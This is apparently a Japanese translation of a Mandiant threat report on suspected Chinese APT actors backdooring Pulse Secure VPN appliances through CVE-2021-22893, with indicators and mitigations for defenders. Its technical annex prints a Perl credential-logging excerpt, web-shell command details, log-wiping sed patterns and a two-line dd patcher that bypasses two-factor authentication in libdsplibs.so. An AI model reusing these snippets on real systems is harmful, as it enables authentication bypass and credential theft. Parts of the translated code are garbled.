あなたの脈拍をチェックしてください: 疑わしい APT アクターは、認証バイパス技術と Pulse Secure ゼロデイ攻撃を利用しています

LDAP Auth Bypass news

エグゼクティブサマリー

  • Mandiant は最近、Pulse Secure VPN アプライアンスの侵害に関連する複数のセキュリティ インシデントに対応しました。
  • このブログ投稿では、Pulse Secure VPN デバイスで単一および多要素認証をバイパスし、アップグレード後も維持し、Webshell を介したアクセスを維持するための複数の関連技術を調べます。
  • Pulse Secure による調査では、以前の脆弱性と 2021 年 4 月に発見されたこれまで知られていなかった脆弱性CVE-2021-22893 の組み合わせが、最初の感染ベクトルの原因であると判断されました。
  • Pulse Secure の親会社である Ivanti は、これらのマルウェア ファミリに関連して悪用された脆弱性に対する緩和策と、顧客がシステムに影響があるかどうかを判断するためのPulse Connect Secure Integrity Toolをリリースしました。脆弱性に対処するための最終的なパッチは、2021 年 5 月上旬に利用可能になります。
  • Pulse Secure は、これらの問題に対処するために、Mandiant、影響を受ける顧客、政府のパートナー、およびその他の法医学の専門家と緊密に協力してきました。
  • 特定されたバックドアが、企業のネットワークまたはソフトウェア展開プロセスのサプライ チェーン侵害を通じて導入されたという兆候はありません。

序章

Mandiant は現在、Pulse Secure VPN デバイスの悪用に関連する 12 のマルウェア ファミリを追跡しています。これらのファミリは、認証の回避とこれらのデバイスへのバックドア アクセスに関連していますが、必ずしも互いに関連しているわけではなく、個別の調査で確認されています。複数のアクターが、これらのさまざまなコード ファミリの作成と展開を担当している可能性があります。

このレポートは、米国防衛産業基地 (DIB) ネットワークに対する UNC2630 の活動に焦点を当てていますが、米国およびヨーロッパの被害者組織で観察されたすべてのサンプルの詳細なマルウェア分析および検出方法は、ネットワーク防御者が特定するのを支援するために技術付属書に記載されています。影響を受けるアプライアンスでの広範な悪意のある活動。活動の範囲を決定するための分析が進行中です。

Mandiant は引き続き Ivanti および Pulse Secure チーム、Microsoft Threat Intelligence Center (MSTIC)、関連する政府および法執行機関と協力して脅威を調査し、影響を受ける Pulse Secure VPN アプライアンスの所有者向けの推奨事項と緩和策を作成します。

調査の一環として、Ivanti は、このキャンペーンに関連して悪用された脆弱性に対する軽減策と、システムが影響を受けているかどうかを判断するのに役立つPulse Connect Secure Integrity Toolをリリースしました。

詳細

今年初め、Mandiant は、世界中の防衛、政府、および金融機関への複数の侵入を調査しました。各侵入において、攻撃者の活動の最も初期の証拠は、影響を受けた環境の Pulse Secure VPN アプライアンスに属する DHCP IP アドレス範囲にさかのぼります。

多くの場合、攻撃者がアプライアンスへの管理者レベルのアクセス権を取得した方法を特定できませんでした。ただし、Ivanti による分析に基づいて、一部の侵入は 2019 年および 2020 年に以前に公開された Pulse Secure の脆弱性の悪用によるものであり、他の侵入はCVE-2021-22893の悪用によるものであると思われます。

UNC2630 がさまざまな Pulse Secure VPN ログイン フローからクレデンシャルを収集していることが確認されました。これにより、攻撃者は最終的に、正当なアカウントのクレデンシャルを使用して、影響を受ける環境に横方向に移動することができました。侵害されたネットワークへの持続性を維持するために、攻撃者は VPN アプライアンス上で正規の、ただし変更された Pulse Secure バイナリとスクリプトを利用しました。これは、次のことを達成するために行われました。

  1. 共有オブジェクトを悪意のあるコードでトロイの木馬化して、資格情報をログに記録し、多要素認証要件を含む認証フローをバイパスします。これらのトロイの木馬化されたアセンブリは、SLOWPULSE およびその亜種として追跡されます。
  2. 現在 RADIALPULSE および PULSECHECK として追跡している Webshell を、インターネットからアクセス可能なデバイスの Pulse Secure VPN アプライアンスの正規の管理 Web ページに挿入します。
  3. ファイルシステムを読み取り専用モードと読み取り/書き込みモードの間で切り替えて、通常は読み取り専用ファイルシステムでファイルを変更できるようにします。
  4. 管理者が実行する VPN アプライアンスの一般的なアップグレード全体で持続性を維持します。
  5. 変更されたファイルのパッチを解除し、使用後にユーティリティとスクリプトを削除して、検出を回避します。
  6. 攻撃者が定義した正規表現に基づいて、THINBLOOD として追跡されるユーティリティを使用して、関連するログ ファイルをクリアします。

2021 年 3 月の別のインシデントでは、ヨーロッパの組織で RADIALPULSE、PULSEJUMP、および HARDPULSE を使用する UNC2717 を観測しました。米国の DIB 企業に対して UNC2630 が使用する PULSEJUMP または HARDPULSE は観察されませんでしたが、これらのマルウェア ファミリは、UNC2630 が使用する他のコード ファミリと同じ特徴を持ち、同様の目的を果たします。また、他のトロイの木馬化された共有オブジェクトと同様の方法で変更された OpenSSL ライブラリ ファイルも確認しました。 LOCKPICK と名付けた変更されたライブラリ ファイルは、アプライアンスで使用される通信の暗号化を弱める可能性があると考えていますが、これを確認するのに十分な証拠はありません。

現時点ではコンテキストと法医学的証拠が不足しているため、Mandiant は、このレポートで説明されているすべてのコード ファミリーを UNC2630 または UNC2717 に関連付けることはできません。また、1 つまたは複数の関連グループが、これらのさまざまなツールの開発と、緩やかに接続された APT アクター全体への普及を担当している可能性についても言及しています。 UNC2630 および UNC2717 以外のグループが、これらのツールの 1 つまたは複数を採用している可能性があります。私たちの理解にはこれらのギャップがありますが、テクニカル アネックスにはすべてのコード ファミリの詳細な分析、検出手法、軽減策が含まれています。

スローパルス

UNC2630 の活動を調査した結果、SLOWPULSE と名付けた新しいマルウェア ファミリが発見されました。このマルウェアとその亜種は、正当な Pulse Secure ファイルへの変更として適用され、正当な Pulse Secure 共有オブジェクトlibdsplibs.so内に存在する認証フローでクレデンシャルをバイパスまたはログに記録します。発見された 4 つの亜種のうち 3 つは、攻撃者が 2 要素認証をバイパスすることを可能にします。これらのバリアントの簡単な概要は、このセクションで説明されています。詳細については、テクニカル アネックスを参照してください。

SLOWPULSE バリアント 1

この亜種は、攻撃者が秘密のバックドア パスワードを提供した場合、LDAP および RADIUS-2FA 認証ルーチンをバイパスします。このサンプルは、各プロトコルに関連付けられたルーチンの開始時に使用されるログイン資格情報を検査し、提供されたパスワードが攻撃者が選択したバックドア パスワードと一致する場合、成功した認証パッチの実行を戦略的に強制します。

LDAP 認証バイパス

ルーチンDSAuth::LDAPAuthServer::authenticateは、LDAP 認証手順を開始します。この亜種は、バインド ルーチンの後にバックドア パスワードに対するチェックを挿入し、成功した認証を偽装するために条件付きで戻り値を踏みにじることができるようにします。

LDAP Auth Bypass
図 1: LDAP 認証バイパス

RADIUS 2 要素認証バイパス

ルーチンDSAuth::RadiusAuthServer::checkUsernamePasswordは、RADIUS-2FA 認証手順を開始します。この亜種は、RADIUS 認証パケットが認証サーバーから返された後に、バックドア パスワードに対するチェックを挿入します。バックドア パスワードが攻撃者によって提供された場合、パケット タイプと成功した認証ステータス フラグが上書きされ、成功した認証を偽装します。

Radius-2FA バイパス
図 2: Radius-2FA バイパス
SLOWPULSE バリアント 2

ACE 2 要素認証クレデンシャル ロギング

この亜種は、ACE-2FA 認証手順DSAuth::AceAuthServer::checkUsernamePasswordで使用される資格情報をログに記録します。認証をバイパスするのではなく、この亜種はユーザー名とパスワードをファイルに記録し、後で攻撃者が使用できるようにします。

ACE 認証クレデンシャル ログ
図 3: ACE 認証クレデンシャル ログ
SLOWPULSE バリアント 3

ACE 2 要素認証バイパス

この亜種は、 DSAuth::AceAuthServer::checkUsernamePasswordで始まる ACE-2FA ログオン手順をバイパスします。バックドア パスワードが提供された場合に、ユーザー名とパスワードの検証を担当するルーチンをバイパスするように、認証手順のフローが変更されます。この変更により、攻撃者は成功した認証を偽装できます。

ACE 認証バイパス バリアント
図 4: ACE 認証バイパスの亜種
SLOWPULSE バリアント 4

RealmSignin 二要素認証バイパス

この亜種は、Pulse Secure VPN のRealmSignin::runSecondaryAuth手順をバイパスします。挿入されたロジックは、ログイン プロセスの特定のステップの実行フローを変更して、成功した認証を偽装します。これは 2 要素認証のバイパスであると考えられます。

RealmSignIn 2FA 認証バイパス
図 5: RealmSignIn 2FA 認証バイパス

帰属

私たちは証拠収集と帰属評価の初期段階にあり、UNC2630、UNC2717、およびこれらの 12 のコード ファミリーの理解には多くのギャップがあります。それにもかかわらず、Mandiant と Ivanti のチームは、この分析を積極的に公開して、ネットワーク防御者が影響を受けるアプライアンスでの悪意のあるアクティビティのトリアージと特定を支援しています。

Mandiant は次のことを評価できます。

  • UNC2630 は、早ければ 2020 年 8 月から 2021 年 3 月まで、SLOWPULSE、RADIALPULSE、THINBLOOD、ATRIUM、PACEMAKER、SLIGHTPULSE、および PULSECHECK で米国の DIB 企業を標的にしました。
    • UNC2630 は中国政府に代わって動作していると思われ、APT5 と関係がある可能性があります
  • UNC2717 は、2020 年 10 月から 2021 年 3 月にかけて、HARDPULSE、QUIETPULSE、および PULSEJUMP を使用して世界の政府機関を標的にしました。
    • UNC2717 について、政府が後援している、または既知の APT グループとの関係が疑われると判断するのに十分な証拠はありません。
  • 帰属ステートメントを作成するための LOCKPICK の使用に関する十分な情報がありません。
UNC2630

UNC2630 のインフラストラクチャ、ツール、およびネットワーク上での動作の組み合わせは独特であるように思われ、他のキャンペーン中または他のエンゲージメントでそれらを観察したことはありません。これらの新しいツールとインフラストラクチャにもかかわらず、Mandiant のアナリストは、2014 年と 2015 年にさかのぼり、中国のスパイ アクター APT5 によって実行された歴史的な侵入との強い類似性を指摘しました。また、UNC2630 が中国政府に代わって動作していることを示唆する限定的な証拠も発見しました。グループに関連している可能性のある活動の全容を特定するための分析はまだ進行中です。

UNC2630 を APT5 やその他の既存の APT グループに明確に接続することはできませんが、信頼できるサード パーティは、この活動を、Mandiant が中国のスパイ アクター APT5 として追跡している歴史的なキャンペーンに関連付ける証拠を発見しました。同じ関係を築くことはできませんが、第三者による評価は、APT5 とその歴史的な TTP および標的に関する私たちの理解と一致しています。

APT5 は、ネットワーク デバイスを侵害し、これらのアプライアンスをサポートする基盤となるソフトウェアを操作することに大きな関心を示しています。また、米国、ヨーロッパ、アジアの防衛およびテクノロジー企業を一貫して標的にしています。

  • 2014 年に、Mandiant Incident Response は、APT5 が別のテクノロジ プラットフォームの組み込みオペレーティング システムのファイルに不正なコード変更を加えていることを発見しました。
  • 2015 年、APT5 は、民間および政府機関にサービスと技術を提供する米国の電気通信組織を侵害しました。この侵入中に、攻撃者は会社のネットワーク ルーターに関連するルーター イメージの一部をダウンロードして変更しました。
  • また、この間、APT5 は南アジアの防衛組織から軍事技術に関連するファイルを盗みました。観察されたファイル名は、攻撃者が製品仕様、技術製品に関する電子メール、調達入札と提案、および無人航空機 (UAV) に関する文書に関心を持っていたことを示唆しています。
  • APT5 は、価値の高い企業ネットワークを継続的に標的とし、何年にもわたってネットワークを再侵害することがよくあります。彼らの主な標的は、米国、ヨーロッパ、およびアジアにある航空宇宙および防衛企業のようです。セカンダリ ターゲット (プライマリ ターゲットへのアクセスを容易にするために使用) には、通常米国にあるネットワーク アプライアンス メーカーやソフトウェア会社が含まれます。

推奨事項

すべての Pulse Secure Connect のお客様は、Pulse Secure 緩和策の影響を評価し、可能であれば適用する必要があります。組織は、2021 年 3 月 31 日にリリースされた Pulse Secure の Integrity Assurance ユーティリティの最新バージョンを利用する必要があります。デバイスがこの Integrity Assurance ユーティリティに失敗した場合、ネットワーク管理者はこちらの指示に従い、追加のガイダンスについて Pulse CSR に連絡する必要があります。

組織は、利用可能な法医学的証拠を調べて、攻撃者がユーザーの資格情報を侵害したかどうかを判断する必要があります。 Ivanti では、環境内のすべてのパスワードをリセットし、構成を見直して、脆弱性に対する認証にサービス アカウントが使用されないようにすることを強くお勧めします。

追加の検出、緩和、および関連する MITRE ATT&CK 技術は、技術付属書に含まれています。サンプルのハッシュと分析が含まれているため、防御側は、それぞれのアプライアンスが影響を受けているかどうかを迅速に評価できます。 Yara ルール、Snort ルール、およびハッシュは、 Mandiant の GitHub ページで公開されています。

検出と緩和

1d3ab04e21cfd40aa8d4300a359a09e3b520d39b1496be1e4bc91ae1f6730ecc

  • HARDPULSE には、攻撃者がアクセスできる埋め込みの「リカバリ」URL https://ive-host/dana-na/auth/recover[.]cgi?token=< varies> が含まれています。このサンプルでは、POST パラメーターcheckcodehashidm 、およびfilenameを使用します。この URL は、このファイルの正当なバージョンには存在しません。

7fa71a7f76ef63465cfeacf58217e0b66fc71bc81d37c44380a6f572b8a3ec7a

68743e17f393d1f85ee937dffacc91e081b5f6f43477111ac96aa9d44826e4d2

d72daafedf41d484f7f9816f7f076a9249a6808f1899649b7daa22c0447bb37b

  • PULSEJUMP、RADIALPULSE、および PACEMAKER は、次のファイルを使用して資格情報を記録します。
    • /tmp/dsactiveuser.statementcounters
    • /tmp/dsstartssh.statementcounters
    • /tmp/dsserver-check.statementcounters

cd09ec795a8f4b6ced003500a44d810f49943514e2f92c81ab96c33e1c0fbd68

  • SLOWPULSE の悪意のある操作は、LDAP および RADIUS 認証を担当する認証サーバーと VPN サーバー間のログ相関によって検出できます。 LDAP または RADIUS ログのいずれかで認証が失敗し、関連する VPN ログインが成功を示している場合は、フラグを立てる価値のある異常なイベントです。

a1dcdf62aafc36dd8cf64774dea80d79fb4e24ba2a82adf4d944d9186acd1cc1

  • PULSECHECK Webshell を呼び出すと、次の HTTP リクエスト ヘッダーが送信されます。

価値

REQUEST_METHOD

役職

HTTP_X_KEY

<バックドアキー>

HTTP_X_CNT

<RC4キー>

HTTP_X_CMD

<RC4コマンド>

1ab50b77dd9515f6cd9ed07d1d3176ba4627a292dc4a21b16ac9d211353818bd

  • SLOWPULSE VARIANT 2 は、書式文字列%s:%snを使用して、ACE ログオン資格情報をファイル/home/perl/PAUS.pma+ (追加) モードで書き込みます。

68743e17f393d1f85ee937dffacc91e081b5f6f43477111ac96aa9d44826e4d2

  • PACEMAKER はファイルパス/home/bin/memreadに保存されます
  • コマンドライン フラグ–t-m-sで実行
  • PTRACE を使用して犠牲プロセスにアタッチし、 /proc/のサブファイルを開きます。

88170125598a4fb801102ad56494a773895059ac8550a983fdd2ef429653f079

  • THINBLOOD は次のファイルを作成します。
    • /home/runtime/logs/log.events.vc1
    • /home/runtime/logs/log.events.vc2
    • /home/runtime/logs/log.access.vc1
    • /home/runtime/logs/log.access.vc2
  • 上記のファイルのいずれかを指定してmvコマンドを使用してシステムAPI を実行し、以下をターゲットにします。
    • /home/runtime/logs/log.access.vc0
    • /home/runtime/logs/log.events.vc0
  • 上記の.vc1ファイルのいずれかを指定してrmコマンドを実行します

133631957d41eed9496ac2774793283ce26f8772de226e7f520d26667b51481a

  • SLIGHTPULSE は/tmp/1をコマンド実行ログとして使用します
  • meeting_testjs.cgiへの POST リクエストはすべて疑わしい
  • POST パラメータ: certimgnameが悪意のあるロジックによって使用される
  • nameパラメーターを使用したエンドポイントへの応答は、 no-cacheおよびimage/gifで応答します

1741dc0a491fcc8d078220ac9628152668d3370b92a8eae258e34ba28c6473b9

  • ファイルに対する sed の THINBLOOD 実行:
    • log.events.vc0
    • log.access.vc0
    • Log.admin.vc0
  • 使用される Sed パターン:
    • s/.x00[^x00]*<正規表現文字列>[^x00]*x09.x00//g
    • s/x<hex_char>x00[^x00]*<regex_string>[^x00]*x09x<hex_char>x00//g

06c56bd272b19bf7d7207443693cd1fc774408c4ca56744577b11fee550c23f7

  • このサンプルは、入力ファイルと出力ファイルを 1 番目と 2 番目の引数として受け取り、パッチを適用したバージョンの入力を書き出します。コマンドライン引数 e または E を 4 番目の引数として指定する必要があります。コマンドラインの例:
    • ./patcher input.bin output.bin backdoorkey e

f2b1bd703c3eb05541ff84ec375573cbdc70309ccb82aac04b72db205d718e90

  • このサンプルでは、HTTP クエリ パラメーター id を使用し、HTTP ヘッダー “Cache-Control: no-cachen” および “Content-type: text/htmlnn” で応答します。

224b7c45cf6fe4547d3ea66a12c30f3cb4c601b0a80744154697094e73dbd450

64c87520565165ac95b74d6450b3ab8379544933dd3e2f2c4dc9b03a3ec570a7

78d7c7c9f800f6824f63a99d935a4ad0112f97953d8c100deb29dae24d7da282

705cda7d1ace8f4adeec5502aa311620b8d6c64046a1aed2ae833e2f2835154f

  • PulseSecure システム ファイルで sed を実行する
  • ファイルシステムを書き込み可能として再マウントします: system(“/bin/mount -o remount,rw /dev/root /”)
  • tarcprmなどの他のシステム コマンドの予期しない実行

MITRE ATT&CK テクニック

次の MITRE ATT&CK 手法のリストは、このレポートで説明されているすべてのマルウェア サンプルと、UNC2630 および UNC2717 のライフサイクル全体で観察されたものを網羅しています。

  • T1003-OS 資格情報のダンプ
  • T1016 – システム ネットワーク構成の検出
  • T1021.001-リモート デスクトップ プロトコル
  • T1027-難読化されたファイルまたは情報
  • T1036.005-正当な名前または場所と一致
  • T1048-代替プロトコルを介した流出
  • T1049-システム ネットワーク接続の検出
  • T1053-スケジュールされたタスク/ジョブ
  • T1057-プロセス検出
  • T1059-コマンドおよびスクリプト インタープリター
  • T1059.003 – Windows コマンド シェル
  • T1070-ホストでのインジケータの削除
  • T1070.001 – Windows イベント ログの消去
  • T1070.004 – ファイルの削除
  • T1071.001-Web プロトコル
  • T1082-システム情報の発見
  • T1098-アカウント操作
  • T1105-イングレス ツール転送
  • T1111 – 二要素認証傍受
  • T1133-外部リモート サービス
  • T1134.001 アクセス トークンの操作: トークンのなりすまし/盗難
  • T1136-アカウントの作成
  • T1140-ファイルまたは情報の難読化解除/デコード
  • T1190 – 公開アプリケーションの悪用
  • T1505.003-Web シェル
  • T1518-ソフトウェア検出
  • T1554 – クライアント ソフトウェア バイナリの侵害
  • T1556.004-ネットワーク デバイス認証
  • T1592.004 被害者ホスト情報の収集: クライアント構成
  • T1562 防御力低下
  • T1569.002-サービス実行
  • T1574 ハイジャック実行フロー
  • T1600 – 暗号化の脆弱性
MITRE ATT&CK マップ
図 6: MITRE ATT&CK マップ

テクニカルアネックス

わずかなパルス

ファイルmeeting_testjs.cgi (SHA256: 133631957d41eed9496ac2774793283ce26f8772de226e7f520d26667b51481a ) は、任意のファイルの読み取り、書き込み、およびコマンドの実行が可能な Web シェルです。 POST リクエストに応答するために、正当なロジックの最後に悪意のあるロジックが挿入されます。この Webshell は、追加の Webshell を配置する役割を担っており、正当なシステム コンポーネントを変更するために使用され、その機能により、他のマルウェア ファミリが観察されている可能性があると考えています。

悪意のあるロジックは、分岐条件を挿入して、正当なコードに期待される典型的な GET 要求だけでなく、HTTP POST 要求に応答します。 GET 要求が実行された場合でも、正当なロジックが呼び出されます。 POST 要求には、呼び出すコマンドを決定するために存在をチェックする一連のパラメーターがあります。このロジックは次のとおりです。

POST パラメータ

呼び出されたコマンド

証明書

書き込みファイル

img、値が空でない名前

読み取りファイル

空の文字列 “”、名前に設定された img

execcmd

他に何か

独自の正当なロジックを呼び出す

Webshell は POST に応答します
図 7: Webshell が POST に応答する

すべての着信および発信要求は base64 でエンコード/デコードされ、RC4 で暗号化/復号化されます。スキームは簡単です。データの最初の 6 文字は、静的な RC4 キーが追加された、一種の nonce としてリクエストごとに生成されるランダム キーです。このナンス + フレーズが一緒になって RC4 キーとして機能します。フレーズはネットワーク経由では送信されず、ナンスのみが送信されます。次に、このキー全体を使用して、キーの直後に続くペイロード データを暗号化/復号化します。ワイヤ上のデータの形式は次のとおりです。

アウトバウンド、インバウンド:

<6randbytes><encrypted_data>
^-RC4ノンス-^

使用法:

<6randbytes><rc4_phrase><encrypted_data>
^——RC4 キー——–^

ReadFile

このコマンドは、base64 でエンコードされ、RC4 で暗号化されたファイル名をimgパラメーターで受け取り、読み取り用に開きます。ファイルの内容は完全に読み取られ、base64 でエンコードされた RC4 暗号化データとして、ヘッダー“Content-type: application/x-downloadn”およびフォーム ヘッダー“Content-Disposition: attachment; filename=tmp”として攻撃者に送り返されます。 nn” .

書き込みファイル

このコマンドは、base64 でエンコードされ、RC4 で暗号化されたファイル名をcertパラメーターで受け取り、base64 でエンコードされ、RC4 で暗号化されたファイル データをパラメーターmd5で受け取ります。ファイルが閉じられる前にファイル データがファイルに書き込まれる状態で、ファイル名が書き込みモードで開かれます。このコマンドの結果は、ヘッダー“Cache-Control: no-cachen”および“Content-type: text/htmlnn”を使用して攻撃者に送り返されます。

実行する

このコマンドは、 nameパラメーターを介して base64 でエンコードされ、RC4 で暗号化されたコマンドを受け入れます。悪意のあるロジックはcdコマンドを禁止し、実行するとエラー 404というテキストで応答します。他のすべてのコマンドは、システムAPI を介して実行され、出力はファイル/tmp/1にパイプされます。完全なシステム コマンドは<command> >/tmp/1 2>&1です。この実行の出力が読み取られ、base64 でエンコードされ、RC4 で暗号化されて攻撃者に送り返されます。ヘッダー“Cache-Control: no-cachen”および“Content-type: image/gifnn”が使用されます。このコマンド出力を送り返すと、応答が GIF になりすましたように見えます。

ラジアルパルス

SHA256 ハッシュd72daafedf41d484f7f9816f7f076a9249a6808f1899649b7daa22c0447bb37bを持つファイルは、このアプリケーションへのログインに関連するユーザー名、パスワード、および情報をファイル/tmp/dsstartssh.statementcountersに書き込む原因となる、PulseSecure Web ベースのツールに関連付けられた変更された Perl スクリプトです。

これらのログイン クレデンシャルの取得は、インタラクティブ ログインや Webshell などの他の手段で行う必要があります。永続性は、この PulseSecure Web ページを要求するときに継続的に提供される侵害されたコードを追加することによって実現されます。

資格情報の盗用に関連するコードの抜粋を次に示します。

my $realmName1 = $signin->getRealmInfo()->{name};

open(*fd, “>>/tmp/dsstartssh.statementcounters”);

syswrite(*fd, “realm=$realmName1”, 5000);

syswrite(*fd, “ユーザー名=$ユーザー名”, 5000);

syswrite(*fd, “password=$passwordn”, 5000);

閉じる(*fd);

SLOWPULSE バリアント 1

SHA256 cd09ec795a8f4b6ced003500a44d810f49943514e2f92c81ab96c33e1c0fbd68を持つファイルlibdsplibs.soは、PulseSecure VPN サーバーに属するトロイの木馬化された ELF 共有オブジェクトです。このサンプルは、LDAP および RADIUS プロトコルの特定の認証メカニズムをバイパスするように変更されています。このサンプルは、正しいバックドア キーが渡された場合に認証の失敗を静かに覆すバックドア キーをハードコーディングし、認証が成功したかのように VPN 接続を確立します。バックドア パスワードが使用されていない場合、認証は通常どおり失敗します。

複数の場所で、正当な関数間のパディング領域にアセンブリが書き込まれます。これらの領域は約 20 バイトと非常に小さいため、悪意のあるロジックは複数のパディング領域間を無条件にジャンプすることで自分自身をつなぎ合わせます。アセンブリは関数の途中のフックと非常によく似た方法で記述されており、挿入されたロジックの前後にすべてのフラグとレジスタをプッシュしてからポップするのが一般的です。このようにレジスタとフラグを保存することで、悪意のあるロジックは、必要に応じて、その悪意のあるロジックを受動的なオブザーバーとして実行し、特定の条件でのみ制御フローに影響を与えることができます。これは、LDAP および RADIUS 認証ルーチンの 2 つの場所、 DSAuth::LDAPAuthServer::authenticateおよびDSAuth::RadiusAuthServer::checkUsernamePassword でそれぞれ採用されています。

LDAP 認証バイパス

DSAuth::LDAPAuthServer::authenticateの通常の実行では、正当なアプリケーションが C++ オブジェクトDSAuth::LDAPAuthServer::ldapを構築し、それをログイン用のユーザー名とパスワードとともにDSLdapServer::bindに渡します。このバインドは、LDAP プロトコルの認証の失敗または成功を決定する失敗または成功の可能性があります。アプリケーションに挿入された悪意のあるロジックは、ldap オブジェクトが構築された直後のDSLdapServer::bindの前に実行をリダイレクトします。実行のこの時点で、ユーザー名とパスワードは、関数の途中でフックする手法を使用してメモリから簡単に抽出されます。サンプルは、一時的な保存場所として、2 つの関数の間のメモリ内のコード ケーブにコピーします。その後、悪意のあるロジックは、通常のロジックと同じようにDSLdapServer::bindを呼び出します。これにより、失敗または成功のリターン レジスタ EAX が 0 または 1 に設定されます。次に、以前に作成された一時パスワードのコピーがハードコードされたバックドア パスワードと照合されるチェックが実行されます。このチェックが成功した場合、実際には認証が失敗したとしても、EAX を 1 に上書きすることでバックドア ロジック アクティブを通過させ、アプリケーションを強制的に認証成功の実行パスに落とします。

RADIUS 2 要素認証バイパス

DSAuth::RadiusAuthServer::checkUsernamePasswordの通常の実行では、正当なアプリケーションがRadiusAuthPacket::sendRadiusPacketを介してユーザー名とパスワードを含む RADIUS-2FA 認証パケットを送信します。次に、応答が取得され、ルーチンDSAuth::RadiusAuthServer::handleResponseによって解析されます。パケットの取得後、パケット タイプが 3 であることが確認されました。このパケット タイプが何を指定しているかは不明ですが、これは成功した認証応答のパケット タイプです。パケット タイプ チェックに合格した場合、サンプルは、認証が成功したかどうかを指定するパケットのフィールドを読み取り、後でこのステータスをチェックします。挿入された悪意のあるロジックは、 DSAuth::RadiusAuthServer::handleResponseの直後に実行をハイジャックします。ここでは、RADIUS サーバーに送信されたパスワードがバックドア パスワードと照合されます。このチェックに合格すると、悪意のあるロジックは、取得したパケットをタイプ 3 で認証が成功したことを示す値で上書きします。その後、悪意のあるロジックは、パケット タイプがチェックされる元の実行フローに再び参加します。スプーフィングされた値が書き込まれると、実際には認証が失敗したとしても、アプリケーションは認証成功の実行パスを強制的にダウンさせられます。

SLOWPULSE バリアント 2

ACE 2 要素認証クレデンシャル ロギング

また、ACE-2FA プロトコル認証中に使用される資格情報をログに記録する SLOWPULSE の亜種 (SHA256: 1ab50b77dd9515f6cd9ed07d1d3176ba4627a292dc4a21b16ac9d211353818bd ) も特定しました。

バックドアは、ルーチンDSAuth::AceAuthServer::checkUsernamePasswordに実装されています。ログイン手順の一部として、ユーザー名とパスワードが取得され、マップ エントリ構造に書き込まれます。バックドアは、このマップ エントリ構造を使用するログオン ロジックに無条件のジャンプを挿入し、ユーザー名とパスワードのフィールドを読み取り、フォーマット文字列%を使用してa+ (追加) モードでファイル/home/perl/PAUS.pmに書き込みます。 s:%sn .その後、バックドアは無条件に通常の制御フローに戻り、ログオン プロセスを通常どおり続行します。

SLOWPULSE バリアント 3

ACE 2 要素認証バイパス

SLOWPULSE の別の亜種 ( SHA256 : b1c2368773259fbfef425e0bb716be958faa7e74b3282138059f511011d3afd9 ) を特定しました。これは SLOWPULSE VARIANT 2 に似ていますが、この亜種はログイン手順ではなく、ログイン手順をバイパスします。このルーチンの通常の実行では、 DsSecID_checkLoginを呼び出して、EAX レジスタを 1 に設定するユーザー名とパスワードを検証します。ルーチンDSAuth::AceAuthServer::handleACEAuthResultは、EAX をチェックして、認証が成功したかどうかを判断します。悪意のあるロジックは、ユーザー名とパスワードのフィールドがマップ エントリに書き込まれた直後に実行をハイジャックし、パスワードがバックドア パスワードと一致するかどうかをチェックします。パスワードが一致する場合、EAX レジスタは 1 に上書きされます。これにより、プログラムはDsSecID_checkLoginが正常に実行された場合と同じ状態になりますが、SLOWPULSE VARIANT 1 とは異なり、元の認証ルーチンはまったく呼び出されません。その後、悪意のあるロジックは、通過するDSAuth::AceAuthServer::handleACEAuthResultの前に実行に再び参加します。これにより、実際には認証が失敗したとしても、アプリケーションは認証成功の実行パスを強制的に下ります。

SLOWPULSE バリアント 4

RealmSignin 二要素認証バイパス

DSAuth::RealmSigninプロセスの 2 要素認証ステップと思われるものをバイパスする SLOWPULSE の 4 番目の亜種を特定しました。バックドアは関数DSAuth::RealmSignin::runSigninStep内に存在します。このルーチンは、ログイン手順の複数のステップを担当し、大きな switch ステートメントとして実装されます。通常、switch ステートメントのケース 11 は、ルーチンDSMap::setPrivacyKeyNamesを呼び出し、次にDSAuth::RealmSignin::runSecondaryAuthを呼び出します。この亜種の悪意のあるロジックは、DSAuth::RealmSignin::runSecondaryAuth への呼び出しを mov eax, 1 で上書きします。これにより、DSAuth::RealmSignin::runSecondaryAuth が呼び出されることなく、常に成功するかのようにアプリケーション フローが強制されます。攻撃者が使用後にパッチを削除したため、これらのパッチが適用されたファイルを復元できませんでした。ただし、パッチャー ユーティリティとアンパッチャー ユーティリティの両方が明らかになりました。現場でシステムから復元していないため、このファイルのハッシュは提供していません。この分析は、回復したパッチャーによって実行された変更を再生することによって実行されました。

SLOWPULSE バリアント 2 パッチャー

SLOWPULSE ファミリの調査の一環として、攻撃者が元のlibdsplibs.soファイルに悪意のあるロジックを挿入するために使用したユーティリティを復元することができました。 SHA256 を含むファイル: c9b323b9747659eac25cec078895d75f016e26a8b5858567c7fb945b7321722cは、SLOWPULSE V2 の悪意のあるロジックを挿入して ACE クレデンシャルを記録します。パッチャーは、元のバイナリへのパスとパッチが適用された出力ファイル パスの 2 つのコマンド ライン引数を受け入れます。元のバイナリがメモリに読み込まれ、パッチが適用されてから、出力パスに書き込まれます。元のバイナリへのアセンブリ パッチとオフセットはハードコードされています。

SLOWPULSE バリアント 3 パッチャー

SLOWPULSE ファミリの調査の一環として、攻撃者が元のlibdsplibs.soファイルに悪意のあるロジックを挿入するために使用したユーティリティを復元することができました。 SHA256: 06c56bd272b19bf7d7207443693cd1fc774408c4ca56744577b11fee550c23f7を含むファイルは、SLOWPULSE V3 の悪意のあるロジックを挿入して、ACE ログオン認証プロセスをバイパスします。パッチャーは 4 つの引数を受け入れます。最初の引数は元のバイナリ パス、2 番目はパッチが適用された出力ファイル パス、3 番目はバックドア バイパス パスワード、4 番目はパッチの適用を指定する文字 e です。このサンプルは、元のバイナリをメモリに読み取り、SLOWPULSE V3 に関連付けられたアセンブリ パッチと、提供されたバイパス パスワードを適用してから、出力パスに書き込みます。アセンブリ パッチ、およびバイパス パスワードをコピーする場所を含むすべてのオフセットは、ハードコーディングされています。

SLOWPULSE バリアント 4 パッチャー

SLOWPULSE ファミリの調査の一環として、攻撃者が悪意のあるロジックを元のlibdsplibs.soファイルに挿入するために使用したユーティリティを復元しました。 SHA256: e63ab6f82c711e4ecc8f5b36046eb7ea216f41eb90158165b82a6c90560ea415を含むファイルは、SLOWPULSE V3 のパッチを挿入します。適用されたパッチは、 DSAuth::RealmSignin::runSecondaryAuthへの単一の呼び出しをmov eax, 1で上書きします。このパッチャー ユーティリティは単純な bash スクリプトです。以前のパッチャーはおそらく C で記述されたアプリケーションをコンパイルしたものとは異なります。スクリプト全体は次のとおりです。

printf ‘xB8’ | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B31))
printf ‘x01’ | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B32))
